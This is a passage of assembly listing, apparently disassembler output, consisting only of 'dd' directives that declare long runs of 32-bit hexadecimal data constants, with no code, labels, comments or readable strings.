		dd 388E2256h, 0C4A66165h, 0C94F0F3Ch, 55BDE160h, 56B3844Ch
		dd 31C41852h, 129B322Eh, 90428422h, 0A87F9C98h,	29847753h
		dd 830A6C5Ah, 3CC1D8C9h, 0C6085CC0h, 9D102F46h,	38CBC922h
		dd 868FA214h, 3CD20F29h, 63951039h, 61F77385h, 0C1998A8h
		dd 15594636h, 1A3C3D89h, 99689482h, 0A30CC8A8h,	8A750A21h
		dd 88789192h, 0EB94C7AFh, 0DC6877FCh, 3612FC88h, 1E622C02h
		dd 201C0F50h, 889E6621h, 26993E63h, 11A84F30h, 3052C44h
		dd 280C69D8h, 2143A9C1h, 9C751715h, 56C5C285h, 60F01030h
		dd 9C81D49Fh, 61EB9FC4h, 0EA0CFBA8h, 4910D8AEh,	7842ABBh
		dd 0B3066184h, 0B8AB3C52h, 880FFE9Ch, 4A257652h, 57FC2144h
		dd 21D1585Ch, 25D9A13Ah, 73E83058h, 18265A40h, 50372D24h
		dd 85607C41h, 181E2518h, 17CCB9EFh, 39DC2101h, 0BEB034AEh
		dd 24E253h, 5BB3F3E0h, 80813041h, 5E008E98h, 0D0C4D09h
		dd 31E79070h, 0BA18F413h, 87611108h, 2394EA10h,	0B19CF50Fh
		dd 15B7001Ch, 0FB3FF49h, 0B6A26C60h, 6DE31200h,	0E50223B2h
		dd 446316EDh, 6A9900B4h, 600EAF0h, 7CA3D408h, 3E261680h
		dd 2303426Dh, 139C93E6h, 61EB5900h, 0F32B7B62h,	214830EAh
		dd 3F633278h, 79E83903h, 1E3070Fh, 906D9631h, 0D4125194h
		dd 18C1FB5Dh, 2352EAE8h, 1F38181h, 86E26307h, 0C2D16DA9h
		dd 0FAE81EC8h, 0CA9B40C5h, 9D01E33Eh, 0EB2AD900h, 0E1B1920Fh
		dd 17632209h, 2D397300h, 0D0E90BC9h, 0B7BA1F9Fh, 7E9C2855h
		dd 381B61A6h, 48EEAA0Dh, 329FCA8h, 0F888A466h, 85620022h
		dd 7BC0FDF2h, 9407373Ah, 7146D13h, 124875B7h, 0E25700EBh
		dd 0A68625h, 1D0C6417h,	0FE99ED40h, 0A998F154h,	2003737Bh
		dd 0CCA83E6h, 1419FBFBh, 689FE898h, 0D78C5F3Ch,	745168E7h
		dd 988DF76h, 5F60A08Dh,	893CA062h, 0A0250096h, 0FF79F792h
		dd 18F097C1h, 11E3BE30h, 0A8194909h, 0F206FB90h, 1CC8C01Eh
		dd 169D5F7Fh, 35009EF8h, 0EDE0684Eh, 30051FE6h,	64E96031h
		dd 0E115E25Eh, 0AE81234h, 8CC4E425h, 44443020h,	889A7C73h
		dd 86176D0h, 4E989118h,	0E0B1A3h, 0A10583F1h, 670FEEF0h
		dd 34C769AFh, 0BE7A0448h, 9900EA79h, 0F66C05D8h, 6A8DC8A8h
		dd 95EC893Ch, 0CF287h, 0F5955807h, 0A0F97D41h, 3604380h
		dd 0D15DFA6Dh, 95BBC07Bh, 1E181EC5h, 0A6071F12h, 3A48000Fh
		dd 47CFFAE0h, 0F4FE81E0h, 842C4507h, 0AAE0FE49h, 7D11E1h
		dd 326A645Ah, 0BFC57341h, 7E6D4800h, 7F625E2Fh,	0E2B607EDh
		dd 0D5372640h, 0BB140E6Fh, 477E58A2h, 97F08C19h, 118DE35h
		dd 326EF194h, 0CF41F0D2h, 44FEA000h, 0F8B44E04h, 9182E7ABh
		dd 536E6022h, 58ADB200h, 37427C05h, 0D040F441h,	713429BFh
		dd 7710CFh, 28A974FFh, 2C59037Ah, 456D7648h, 0A8584063h
		dd 8A400327h, 0A71E5A61h, 873508E0h, 0F1EC5501h, 95AEFEB6h
		dd 0F5BE99Dh, 40D8FA16h, 92AAC9Ch, 4514A0C1h, 3C48B36Ah
		dd 0A628D0CCh, 0A8BD52h, 0BBC78114h, 0F05FA428h, 9470686h
		dd 0C0EFDF02h, 7E3A6200h, 6A063F39h, 0C2E4EB84h, 0B549C78Fh
		dd 0CB10C2Ch, 772A68B0h, 0F42AB423h, 841F2CE5h,	5E8C7B7Ch
		dd 3752115h, 6B6EE3D0h,	5FE527A6h, 49370AB8h, 289820B4h
		dd 888CE981h, 156AA24h,	6A4135F9h, 50043BAFh, 0E8C7EE48h
		dd 2DAD6300h, 0A3F30E22h, 48DF4Bh, 0AA9FAE01h, 0FE51FFB5h
		dd 0B23010D0h, 0F56C5576h, 14EC2C81h, 811ED72h,	74D5EF00h
		dd 562FCB0Dh, 78457E06h, 14E9D170h, 98224736h, 3FF08101h
		dd 0E3B40690h, 50B3C8D9h, 0D2A926A4h, 0E6185C07h, 0BED0E77Ah
		dd 545D25E1h, 0EFB880Dh, 0ABAA2D8Fh, 7AF61118h,	7F547879h
		dd 0B7011E88h, 0F198DCB5h, 5880F331h, 0C991A919h, 441A424Ah
		dd 8071A3B9h, 1E13A194h, 34008AE6h, 0F2CFED99h,	3457900h
		dd 2A33724Ah, 106048CCh, 87EB4682h, 80AFF1C0h, 0AA800893h
		dd 41337425h, 3DAE0062h, 7BD06CD4h, 4BF40310h, 4CC61800h
		dd 0AE65DD2Dh, 2EF00F2h, 711C24A0h, 950383D0h, 0F349039Ch
		dd 185ED0E5h, 47C00EF8h, 224369DDh, 2E96D7Ah, 1EB040EFh
		dd 0EB01F817h, 0C0F3F0E0h, 205098A7h, 0DEA608h,	4728129Dh
		dd 66632EEAh, 8948C301h, 85B56521h, 0DE066080h,	31A47E9Ah
		dd 0D130247Ch, 2CED5819h, 0E73B3D03h, 364A0286h, 5AF07806h
		dd 9B211863h, 0FC66E048h, 92BF00CCh, 4A4CEE03h,	1275BC18h
		dd 0D4E4040Fh, 2DCD0648h, 0BFCE1910h, 0E02F2047h, 0C367F392h
		dd 6E814611h, 31BBDA8Ch, 0E391A408h, 0D23AA143h, 7410863Ch
		dd 8345050h, 924A0CCEh,	131C15Bh, 106E3C28h, 5D0E4618h
		dd 26615AB8h, 14B403BEh, 0E105B011h, 1E336BC5h,	644F00D0h
		dd 5CB67421h, 0D13710C0h, 7F6E5ADh, 4E699541h, 0C4B2E329h
		dd 80F202E9h, 23F96CE1h, 35367B9h, 0BBD53C12h, 0C1B02A0Ah
		dd 0A02891C8h, 760ADCEAh, 0F809606Bh, 8D2CE01h,	0F4534950h
		dd 0CF46B90Dh, 87BA2880h
		dd 0ED474A0Bh, 24DE4B3Fh, 9C00189Fh, 0D6999A6Bh, 161801EAh
		dd 80CBDCFh, 5ACEE039h,	1295F540h, 56E464h, 271F6A04h
		dd 1850B365h, 0C20026ECh, 41EC1321h, 3B07EF5Ch,	0DA06BA39h
		dd 1822E9DEh, 0A657F13h, 0D4F32100h, 320E630Dh,	40B1C211h
		dd 9730423h, 2365D371h,	798F3423h, 0BE684008h, 38168C46h
		dd 7F181A0h, 0EC41E4B5h, 6C5F9C91h, 903D09E0h, 24125080h
		dd 0E5453796h, 6883C14Ch, 4B78835Fh, 1B20A9B0h,	507B87A8h
		dd 819077E1h, 9E9F7588h, 96E4E5FEh, 3D1100CEh, 6ACD3B48h
		dd 0BCA30CECh, 4F5585C4h, 0D886E714h, 0DD50191Bh, 0EE6ED94Ch
		dd 412581E8h, 7600F764h, 692CA009h, 511E24E2h, 23D28E01h
		dd 0E06EC675h, 0A00AA85h, 0E3DC6F4Ch, 6864B2Fh,	916245F9h
		dd 8A1E30C2h, 0D0C460Ah, 78E711C7h, 0C3DD2252h,	8230F564h
		dd 90062B22h, 0CA70F11h, 43E01329h, 5C47542Ch, 3381E900h
		dd 0C676538Dh, 6B0C1EF0h, 1466C1FEh, 8C3AEEC7h,	3828C3A0h
		dd 69240348h, 764E5FD6h, 0BF931900h, 0FE3B6860h, 0C762C0D2h
		dd 0E88652DCh, 76186160h, 3E625630h, 3077DD1Bh,	43F9E614h
		dd 0DB06E4A3h, 0C237D8ECh, 0A6E81838h, 92D9B0C0h, 78B78800h
		dd 29EAF2F1h, 0B95CA044h, 40427F82h, 9C669768h,	0F0593310h
		dd 337F780Eh, 8216660h,	5645107Fh, 0F7E180C1h, 10C31043h
		dd 0A658910h, 98C1827Ch, 15415E1Eh, 0B44B22D8h,	0A234A450h
		dd 3B7FA0Fh, 0D2642442h, 78003852h, 32F5DDDCh, 0F9206DFh
		dd 6FBC0BB5h, 0F34BEE80h, 0C384923h, 6561804Dh,	0D5ED29E3h
		dd 0E0C25148h, 0D9E00FE1h, 0DAA0A836h, 34490030h, 0B4C6986Ah
		dd 4C7B4E56h, 59000E76h, 0CF4AC265h, 5F7A79h, 3F72FCDEh
		dd 0DAC382D3h, 0ACCA8501h, 7846F9B3h, 645A5095h, 1CC3E810h
		dd 3C9CE145h, 630243C0h, 809D48D2h, 4C1220C3h, 0C5EF47Eh
		dd 0C25BD100h, 185ADE54h, 1867DD58h, 0F452DCD0h, 1C3BC078h
		dd 6516397h, 619CB1B4h,	0B503795Eh, 14F045FAh, 24111EC4h
		dd 0D7860946h, 696D102Eh, 6ACCF160h, 70498781h,	0A4518894h
		dd 86E9ED00h, 81E88A46h, 0FCEBCD2Ah, 3985C850h,	3022BB24h
		dd 4E6F1280h, 0C083E82Ah, 25657641h, 0E0025FA2h, 454DFD28h
		dd 74427Eh, 507E6A0h, 0E60E7CC7h, 88E71AECh, 0D83438D1h
		dd 0D0EE20h, 0BDECF5BFh, 0E6B3D3EAh, 0ED26F000h, 0B0BAA49Dh
		dd 766B0002h, 3E55D6DEh, 3C0A212Ah, 90657EE4h, 73CC1F02h
		dd 0D99C84FCh, 0A08110D4h, 48DC5EDFh, 1183F91Fh, 0D849F70Ch
		dd 0C8EE711Ch, 0AB11BC0h, 28E03F3Ch, 31C3DCEh, 0EB194CA7h
		dd 7082253Eh, 0C1E5A8B8h, 0EB4CA084h, 2EA1144Ch, 61E28C60h
		dd 574FE882h, 30D2BE19h, 1A86C3D9h, 10B266CCh, 0A82E50B0h
		dd 0C70E4491h, 897A2F77h, 7CC420E2h, 2850656Eh,	0C2C0FCA1h
		dd 8B7B5551h, 0B4778090h, 62481490h, 0C406A130h, 20216500h
		dd 702A9E30h, 0DCFDC7D8h, 3DCC4050h, 4BEF3E42h,	4630661Fh
		dd 2078C8E8h, 3C9D9C93h, 12EEC611h, 84428951h, 0E0D3531Eh
		dd 9955ED27h, 9900BDB8h, 434EF59Bh, 0DF613B58h,	9A2A4D99h
		dd 1180ECD5h, 7E55FA46h, 0CA2A471Dh, 0D33FA870h, 8B26F858h
		dd 42804CEDh, 0B45C23FEh, 44E64843h, 6E5FE0C1h,	41844774h
		dd 411DD21Eh, 0E0187874h, 4D267C69h, 138B7CC2h,	306080B1h
		dd 1D5BF3D3h, 1DBED6E5h, 9C54945Fh, 0ED3FE907h,	491F96D1h
		dd 0EEE72918h, 549DB1h,	0C2BBEB17h, 0B2C17DA0h,	36000E7Ah
		dd 0B495DA0Ch, 24C5C053h, 562948h, 0F6B51702h, 0E04C97DBh
		dd 0BC842AE0h, 0F89868F0h, 9D081C58h, 8C088514h, 8834206Bh
		dd 6F246409h, 0E008F8D8h, 866C00C1h, 33852630h,	65002899h
		dd 73E2705Fh, 0D2563B64h, 0CCC78AAh, 3F2D7E5Eh,	700C3851h
		dd 11DF3A19h, 98E0A4BEh, 3544924Ch, 10F9C961h, 993A148Ch
		dd 40093040h, 223B3596h, 427BD8C0h, 2E9C100Bh, 50C46050h
		dd 185AAF4Dh, 0B0A06D79h, 5F22D77Eh, 0FF2B50AAh, 0F0397264h
		dd 4210B8F3h, 0B30597Bh, 99544F92h, 87179A18h, 28B08B0Ch
		dd 611041CBh, 9800C70Ah, 0EB2B2C96h, 0E1C6725Fh, 5080086Dh
		dd 0A15B086Ah, 0B7107B94h, 6C120B88h, 54206544h, 11FAA34h
		dd 0F196B5C1h, 52EA4281h, 98985B88h, 2224E431h,	351E5424h
		dd 70B15840h, 2E126F49h, 43177Fh, 343155A9h, 0C984F2Bh
		dd 0ED87A00h, 47E33AFCh, 16C90F8h, 699EBE3Dh, 0F03580C2h
		dd 62A3627h, 95020C4Ch,	7D07D434h, 8BD8C0E4h, 0FDF0F5C8h
		dd 7B970E50h, 53EA66AEh, 0BDEF8440h, 0D6948171h, 2541E007h
		dd 28C24B24h, 0DD401826h, 1B53633h, 17D7B8A2h, 2043D167h
		dd 4F09940Ch, 0AFC83B37h, 2EA28454h, 0ABD38CC0h, 40466775h
		dd 0E8DCC168h, 6F1434F7h, 4C5A4818h, 48538AE8h,	8B015CF6h
		dd 8402D176h, 2240835Eh, 0B04FDBh, 0D0A66B58h, 0C0EDB77Bh
		dd 0FA80D718h, 9228AA8h, 0EBADFBD6h, 301CE007h,	0C2B8A532h
		dd 8238DCB3h, 9F0713D2h, 0A3E08499h, 0A57054D1h, 0C00079F5h
		dd 0F560BB4Fh, 0A366B58h, 26B27C57h, 80BC3F4Eh,	0E06C53ABh
		dd 0AA001BDEh, 35B89F90h, 0A1BA59D3h, 7ADC3EA8h, 36090175h
		dd 4E8F27FCh, 1F46C822h, 0E20503B8h, 0A2D8E79Eh, 452B800h
		dd 0C13BFE1Ch, 1FDB35B0h, 0DD488193h, 0A64B786Bh, 4CD948F3h
		dd 6C40360Fh, 209A0945h, 261A6384h, 26B91780h, 642448h
		dd 769E2D9Ah, 2C0C1667h, 0F9B429DAh, 5DF486BDh,	22AFB244h
		dd 0C621260Ch, 510C058h, 2222CA1Ch, 0E9D710A5h,	8047373h
		dd 0FB64DF3Ch, 6FA1F2Bh, 0CF97E604h, 23760881h,	9560E0D6h
		dd 0CC104C41h, 0C51E017Dh, 38295498h, 204835C8h, 3EECF2EBh
		dd 0A7C0D300h, 4EFD963Ah, 921800D1h, 6A6489Eh, 4C9840AAh
		dd 93147FB0h, 0E0203E88h, 8602032Bh, 0F2056078h, 94FD53A2h
		dd 202EC406h, 12747AF0h, 4C93DCBh, 0C023C628h, 856ABB0Dh
		dd 31C1C20Ch, 60B60899h, 8288208Fh, 3900EB7Bh, 0A873A060h
		dd 168EA498h, 411FD128h, 0BE6C3160h, 9184216Ah,	8E83C060h
		dd 7DFAAA7Bh, 965D001Ch, 0DA9FCF7Bh, 0D90B55BCh, 87F71688h
		dd 607CDF94h, 90A64C56h, 0A44B105h, 87D8C846h, 4176C340h
		dd 0E2D040C6h, 20B2EBFDh, 0D54D600h, 3FCB3184h,	73591D67h
		dd 0F0B21F3Eh, 0C9D2520h, 34B1850Fh, 0D758983Bh, 0D4C724E8h
		dd 222E42F0h, 14317860h, 0F268CE09h, 0C804A156h, 0F300E3EFh
		dd 1A00F101h, 44F8A32Ch, 5023D4h, 0CCAF0922h, 4E953884h
		dd 79C3E700h, 0A87D5346h, 2DFD0072h, 48EC8AA1h,	4D034105h
		dd 9F66B4D8h, 19A0D9D5h, 73CCE6D8h, 61E2078Dh, 70DFF770h
		dd 5F95D940h, 0D52F8600h, 0A2C2ABB5h, 1B22000Ch, 432873AEh
		dd 0D000245Ch, 0B92C9FCh, 6087Dh, 9AB316Bh, 0F58CCAECh
		dd 43F86001h, 0E04498ACh, 0FED97360h, 7B5400E5h, 0C5C4B932h
		dd 0F2008114h, 0B51CA75Fh, 59F590h, 39C80DF0h, 0DA453A29h
		dd 0E00061E4h, 0F894A49Ah, 0AFD332h, 0C7651E93h, 62EA5E58h
		dd 912AB301h, 0CF6C66CAh, 7AB05880h, 3EF7D51Bh,	4087C000h
		dd 115435C3h, 824F017Dh, 98E2D453h, 5870C023h, 0AE637800h
		dd 3FBDABA6h, 4CC71C11h, 1E1E88h, 0E1D01934h, 4907F241h
		dd 2BF51D39h, 4670D780h, 87910EB4h, 0B7EA9C32h,	0C27F1CBCh
		dd 0CAC3409h, 5801B7E3h, 75F9F888h, 23C821C9h, 0B6E300A7h
		dd 5A46FAD0h, 0DF00E50Fh, 378776DAh, 75741409h,	3751DA7h
		dd 38A59BE1h, 809CA48Fh
		dd 0C01CE992h, 0D714A67h, 5BD1B330h, 0BCE35F2Fh, 0B849008Ch
		dd 21BF409Dh, 8EFA0EBAh, 9FD6FDh, 28B17C32h, 0A0000A02h
		dd 9120BEA4h, 7BA961F6h, 4B320363h, 0D2BC4310h,	0CFE0B9C2h
		dd 0C50F93D8h, 0C00705D6h, 0B0730C48h, 29E448BDh, 39816000h
		dd 1B13BFAAh, 86DE2D00h, 8C5C641Dh, 98550056h, 0B4CC67ECh
		dd 0FF065D7Dh, 0D0D60926h, 767FF9h, 67728EBDh, 17F62EB7h
		dd 507AA003h, 0B82DF5BFh, 0F847CC81h, 0EF7B66h,	7ACBB9A7h
		dd 0D8CEF2ACh, 9B24D703h, 0BD17AD32h, 46948803h, 0DB2AE8C2h
		dd 0BF8D1E33h, 2CC58797h, 14CA83B2h, 0E54F0188h, 35192100h
		dd 0D31D8710h, 0F91600EEh, 0E4EB64E2h, 3301B643h, 39967EC8h
		dd 5A20F087h, 0F94E02B5h, 2EC19F1h, 0B0A8B443h,	0F038F2Fh
		dd 775B04A2h, 1185C851h, 919000F4h, 0EA23F1B7h,	765038D4h
		dd 0F707E6E4h, 0AFDD1C49h, 5F250BD0h, 0B9920097h, 3721BED2h
		dd 0B01D85C0h, 80C0D3ADh, 0B2C6298Eh, 32910042h, 0FA4FBECEh
		dd 6800A7F0h, 0D82B21C5h, 47C66Bh, 0AE759004h, 4E81EBAAh
		dd 109073F4h, 0B992B00h, 0FB7DCBB3h, 5E2C0084h,	710380B1h
		dd 0D124B6EAh, 0B80054E5h, 91D81EF0h, 0E1CD0040h, 13FF2277h
		dd 6400A5D9h, 398F6ED3h, 7F52E24h, 30B10BBFh, 733D60ACh
		dd 0A7006470h, 8D45E4D4h, 0E2B2022Bh, 53E100ECh, 3FEEC90Ch
		dd 0ED0F64E5h, 63B4DC34h, 0C07E76BAh, 0C93839h,	0ADF2A0B8h
		dd 8A6EC816h, 0CE511107h, 0FC70D5EBh, 0F2857EBFh, 0F31600AEh
		dd 97634293h, 5700151Eh, 0EFFB1DCFh, 0E09EBD48h, 0AA50C018h
		dd 0E194643Dh, 3E304A77h, 40A119FFh, 7960005Ah,	41835958h
		dd 1C90BC77h, 0DF7CB003h, 0B8DE7497h, 7AC6AD53h, 4D8A1F45h
		dd 4292C48Dh, 65C0FBFEh, 3FE9EAh, 7947C9C4h, 24093A7Bh
		dd 9B6A3703h, 0B8258D19h, 409C64h, 0F0D484FEh, 0D92D606Fh
		dd 8FED9700h, 7DA087A5h, 6BFE074Eh, 0C1A2CE19h,	202D9FB3h
		dd 9900EFD0h, 58BF620h,	0E5B9C8h, 43981CBDh, 503AE7A3h
		dd 156CDE01h, 84F6D138h, 735870h, 938D6F29h, 0E9140C2Bh
		dd 47600900h, 70307CBDh, 8E50004Fh, 0D3F60BBEh,	260079FDh
		dd 49C40D3Dh, 1C377F30h, 7126D81h, 80CFD0F0h, 3B3A60E0h
		dd 46BB82C1h, 28207418h, 4777AAEh, 3DADD7EBh, 0F7E48056h
		dd 3504D8DBh, 0D55B03CEh, 4ED12880h, 9972184Ah,	1F4710D4h
		dd 6AB05F00h, 2674E3F0h, 29CF008Dh, 1303E4CAh, 7B00E514h
		dd 0FF35D95Ch, 73EFA80Dh, 417E6095h, 1BE29D54h,	35D47154h
		dd 0A74B5603h, 0F0C0FEF0h, 39935827h, 0CC008EE5h, 14E3231Fh
		dd 0BF039AD7h, 3C768617h, 0FE3188B1h, 4CCA0038h, 0F88E4563h
		dd 8200A16Eh, 35C9070Dh, 0E0886ABh, 84681BBEh, 0E2B78E20h
		dd 807CFF56h, 0A0EDF028h, 341A31A0h, 5A073C70h,	0D02D62E5h
		dd 0D1C4A841h, 0F940F5DEh, 58005578h, 5AE01BE7h, 3F0298Dh
		dd 542CBE09h, 0CED05D2Bh, 6700C918h, 4D40AD93h,	0F19998h
		dd 35D483C6h, 1C4AB475h, 2DF2D100h, 0FCDE972Ch,	82F001A2h
		dd 4BDC12Fh, 6226DC46h,	38D27300h, 0D567657Ch, 0AC133AE3h
		dd 58F58480h, 97F15C19h, 8C0053F4h, 14C6ABE5h, 9C0E30h
		dd 3395CDDFh, 0AF3C9E79h, 0A500C4E6h, 0B1970B90h, 89E6E0h
		dd 0FD05892h, 0B8C73EF5h, 8D071000h, 73F601A2h,	0A2C005Fh
		dd 240255A1h, 2F00E689h, 68213F17h, 1C63AC5Ah, 809087EAh
		dd 18928F3Ch, 0FA00B586h, 0DECCE7A9h, 8B236Dh, 0C050BC04h
		dd 0E1F56C9Ah, 0A137AC00h, 0DB9EB396h, 8B9301DDh, 6452473Ah
		dd 77F840F6h, 9B00EC2Ch, 0A788128h, 3FE917E3h, 0E26C0B4h
		dd 57EB02D0h, 14604C1Bh, 0EC00E04Eh, 7051DC3Fh,	0C661B2h
		dd 219A3BFh, 0D192132Ah, 8E6F5C01h, 95A8E0EBh, 1D9D66C4h
		dd 0DF7E01B2h, 0B5B4029h, 0BB202FDEh, 0AD153F00h, 8162D08Ah
		dd 0C8BE59B7h, 240B3D00h, 0F8B03B57h, 1D03853Ah, 5009DBA7h
		dd 8C6C00FEh, 1840D1A3h, 0A80B8FCEh, 0A20FE9AAh, 0E45A32CFh
		dd 53C01BFEh, 730109ACh, 3DFC01A8h, 0A7A5845Eh,	0B135D4B7h
		dd 0ED27D100h, 72804DC6h, 1F6EC31h, 0BD1D2E50h,	0E0DFF2FFh
		dd 7C0087A8h, 0FED4C82Fh, 0DEB730h, 0DB3BF36Fh,	0BB10AFCEh
		dd 0D4AEA43Eh, 5D28EC98h, 0D900F037h, 0D1FCF02Eh, 0F7815BEFh
		dd 187560h, 118D12FDh, 63F68B3Dh, 0F8A7DC30h, 1FAFF4D6h
		dd 14CC85B9h, 0BC060C78h, 0F8FB9D99h, 0E02ACF30h, 759F3F1Eh
		dd 0AB6304DFh, 0AB71BA9Bh, 2DA8DD03h, 0DB25D84Bh, 1E5B0462h
		dd 80D54A55h, 0D7C68A49h, 77C9EA1Dh, 340441Eh, 4DE6CFC0h
		dd 2D9A0E6Fh, 90408E2Fh, 4E453707h, 5272050Eh, 0BD34C011h
		dd 7EDA08h, 9CD65947h, 961B0EBBh, 7F69C500h, 1738B855h
		dd 5060036h, 0D5D93559h, 0E6054E11h, 7B6D696Ch,	2C6AAAC0h
		dd 89440086h, 78F1EEB2h, 2403E226h, 613B3E65h, 0DBE5D0EFh
		dd 0F80E789Eh, 0B45C003Dh, 1F1A8D15h, 5A00CD45h, 2262FBF3h
		dd 7272DB41h, 3D3E0CD2h, 93299B3Bh, 7E7488h, 5C318EABh
		dd 0A7EC8170h, 3217C800h, 1D624E87h, 0FFA30030h, 0B51B604Ch
		dd 4928069Bh, 0EC00D352h, 476EAFE2h, 1C4D9F74h,	0C0F04F85h
		dd 0D2C07567h, 10007F28h, 0B6B95CCFh, 21BD6FAh,	5F74A91Dh
		dd 0E640467Ah, 2005BC1h, 13C9E295h, 0C301E5h, 70BCE115h
		dd 2C8DC889h, 0E07F30E9h, 956E0600h, 797A217Ch,	9FF700DCh
		dd 5FA0AF91h, 1C1C4102h, 47811DF8h, 6A7F9377h, 0BC66F4h
		dd 7C09273h, 18D48741h,	766E1900h, 4A2748AEh, 8DFC0024h
		dd 72BB9DABh, 0B20F62CAh, 20DA342Ah, 7CD97773h,	0AD352C08h
		dd 0BBEB0095h, 0E6DEB15Fh, 80A4643Bh, 199649AEh, 26950h
		dd 0A9547072h, 4A479C5Bh, 3AF5A038h, 80163AAEh,	5DD4AFB7h
		dd 3A551F1h, 5271F222h,	5F01068h, 0E905C3BBh, 0BF8EB8D6h
		dd 31D9A200h, 33C5238Bh, 0ECF2AE52h, 0CD292CA7h, 0BF7A5E00h
		dd 7CB669B4h, 0DB8B00C5h, 6A189B23h, 0F33B40C0h, 3EE5148Ah
		dd 39DD0189h, 21266DF2h, 0EF2ED0h, 0F65B4D3Dh, 710BB01Fh
		dd 1A0025ECh, 924FD141h, 0B754978h, 0D87B4015h,	5C8B7600h
		dd 0FA01F913h, 0FE32A4C7h, 4C202A96h, 3A1004F8h, 80FFDA8Ch
		dd 0E34A4330h, 5C26AB01h, 14B07A9Ch, 4D10C0h, 37D032CCh
		dd 0ECEB8D0Dh, 0A921A500h, 976D7AC8h, 0CC1839FBh, 80061F02h
		dd 8540B165h, 7300D9C2h, 0E8596603h, 77C07EEBh,	27B0000Ah
		dd 45974B96h, 64008DECh, 1AEA7F8Fh, 137E5BC7h, 0D0D702h
		dd 263D07F8h, 33987D82h, 58DD4300h, 12EC4439h, 0A46348B5h
		dd 0A666500Eh, 219C9E80h, 0FAA0F58Ah, 6200D69Dh, 0A1A554F7h
		dd 457D12h, 1DB86EBFh, 48B31FB7h, 0A0A39004h, 0B0C02CD5h
		dd 3C77E37h, 931CB8FAh,	74906160h, 4C003E3Bh, 34BBED6Ch
		dd 0E022BD15h, 1C480336h, 2C99A339h, 0DDD96080h, 7AB22802h
		dd 80D4A561h, 1EBF08F2h, 0A1C3A030h, 769A3AC3h,	0FA78E001h
		dd 0FC749117h, 961451A6h, 3C8287Ah, 0D146CE8Bh,	8C803D6Eh
		dd 9C270980h, 1E0758D9h, 82E20B01h, 4FCB2131h, 0F61DE0FCh
		dd 455200CAh, 4280867Dh, 0EDA0D797h, 0E300DC74h, 0E2F3D2D3h
		dd 0A5A44Fh, 77448850h,	0CEF9BAC7h, 0FE155324h,	3D7ACB0Eh
		dd 9EA57C40h, 0B4B828h,	0ACD083BCh, 0BA766FE6h,	0B8333828h
		dd 0A70AB01Eh, 112C8BC0h, 0AD9E81h, 0F96A16E4h,	0DFCB37A1h
		dd 7D4BC300h, 50449536h, 43E300DDh, 70D2FA47h, 9800A80Ah
		dd 472567Ah, 7D0D5FF4h
		dd 3CC50E37h, 7920E171h, 252C8A73h, 5B095300h, 0D697DA7h
		dd 0F928263Bh, 50590014h, 0EF551082h, 704E9C03h, 0D8B1877Fh
		dd 3CD16584h, 0FD93F081h, 23C00055h, 0BAB5690Ah, 543C3500h
		dd 0EDADE3E6h, 3AC00091h, 7FB171DFh, 4AF4BB1Bh,	2F0F6900h
		dd 0D4E0B453h, 0C31E3049h, 0A6FD79B4h, 0F94CC00h, 43EBA71Bh
		dd 285EA3Fh, 83F78AD6h,	80607319h, 870006BBh, 0EEAB369Eh
		dd 0C07DF166h, 521DA218h, 6B60A708h, 0CF239110h, 7D47541h
		dd 0BEDFCC26h, 296D0FFh, 0EBF83615h, 0BBB98600h, 0C88F6AD8h
		dd 116F3B41h, 0E3783C00h, 7F17078Ch, 8342400h, 50CBE2D1h
		dd 30840023h, 3B3F82D3h, 0A600F1D6h, 7A4BA42Ch,	0A57E53h
		dd 3E0A5EEEh, 88AFC05Ah, 19E9F700h, 9690B280h, 0F2DD76CEh
		dd 0A817010Ch, 417649FEh, 0D148C5C9h, 0A365DC5Ah, 6B1C7A00h
		dd 83F33D2Ch, 0FA171D9Ch, 4C53407Fh, 4E0A6A81h,	61ECC53Fh
		dd 5ABBFB1Eh, 0E960F0D1h, 0F9250044h, 0E5D6EDD5h, 0C7004D0Ah
		dd 63577634h, 0A0249Eh,	3D0C9785h, 0F5E34FB3h, 0A5437801h
		dd 60B0565Ch, 0EEDF2820h, 0E16B00F7h, 0ADCD7E3Ch, 0D000F165h
		dd 318C50A7h, 38163767h, 9300AC6Dh, 0EB2AFDECh,	0ED0026A8h
		dd 67AA503h, 48C83AA4h,	0B83C04B9h, 0FE00FE4Ch,	1F667588h
		dd 0E602C50Dh, 0B9C39FFAh, 0EFD04025h, 0E8991F29h, 0F9A437h
		dd 0DFDB86F5h, 113AAB23h, 6AA980C0h, 7B7424B5h,	20C0065h
		dd 39AD347Eh, 31704A1Dh, 0CD00FC90h, 70B6F8D7h,	286031Fh
		dd 3387901Ch, 58C0353Fh, 0AA00F3BDh, 1904CC3Ch,	7D4D22h
		dd 83F5203Eh, 4BB795DAh, 75378A03h, 88D95CBFh, 70E4550h
		dd 39F1FB7Ch, 50D52706h, 0E32CD726h, 8A5ACF07h,	3BE4835h
		dd 0E804B501h, 0E7DA33h, 97D688A1h, 3609E119h, 2AE2D00h
		dd 37FC87C3h, 0BEF41Ch,	4C03547Fh, 0B8907475h, 7B4FE900h
		dd 0DC707E12h, 561F3C49h, 761AEB80h, 42DF6AE7h,	7F95390Eh
		dd 63A5E3FEh, 69F2B8D4h, 8D47015Fh, 9A3FE21Ch, 8691C4FCh
		dd 0E5A4B100h, 53AB6CA3h, 0B2FF146Ah, 6800F309h, 0D6152AAEh
		dd 0A0E6D30Fh, 795353Eh, 0F43696D1h, 9F0BDB40h,	183C6022h
		dd 0C356D3A7h, 8E0B7F7Ah, 6A08FB6h, 0F0905ED8h,	9278E7h
		dd 57BB7A05h, 0D193BEEFh, 603DFA07h, 87A08547h,	18F73591h
		dd 0C8DE52E2h, 699858E6h, 5937BC78h, 11DC70AAh,	0F49300D1h
		dd 819216DDh, 86158CB6h, 80357Ch, 0DC4D6CC4h, 0B0FA46E2h
		dd 4157184Fh, 0DEDF70BFh, 0B7864C1Ch, 2CBA2D05h, 0BE5711C1h
		dd 1E7D37C8h, 0C0B22AB3h, 0D694EE9Dh, 6200B4D1h, 0C4268AD4h
		dd 7983151Ch, 0F5D500B0h, 0D342D20Ah, 19E658B7h, 0E7D9530Fh
		dd 25F3C72Fh, 6898D020h, 87ED0018h, 41528611h, 0FF24A010h
		dd 0E4004BFBh, 0BF89EE5h, 0DCE6001Bh, 284EBE75h, 0C13FC25Eh
		dd 9D33BBC0h, 8440382Eh, 0FF1D0F0Bh, 0F6AC07DFh, 87B32CB6h
		dd 18804B75h, 181716D8h, 6C10E003h, 0F84F9DD1h,	955F53h
		dd 0F7DEB897h, 8482FFD3h, 98A47C1Dh, 25DA305h, 0B137DAC0h
		dd 51170AE5h, 80A452E0h, 3F7E76DDh, 0DC006403h,	0E6EE9AC0h
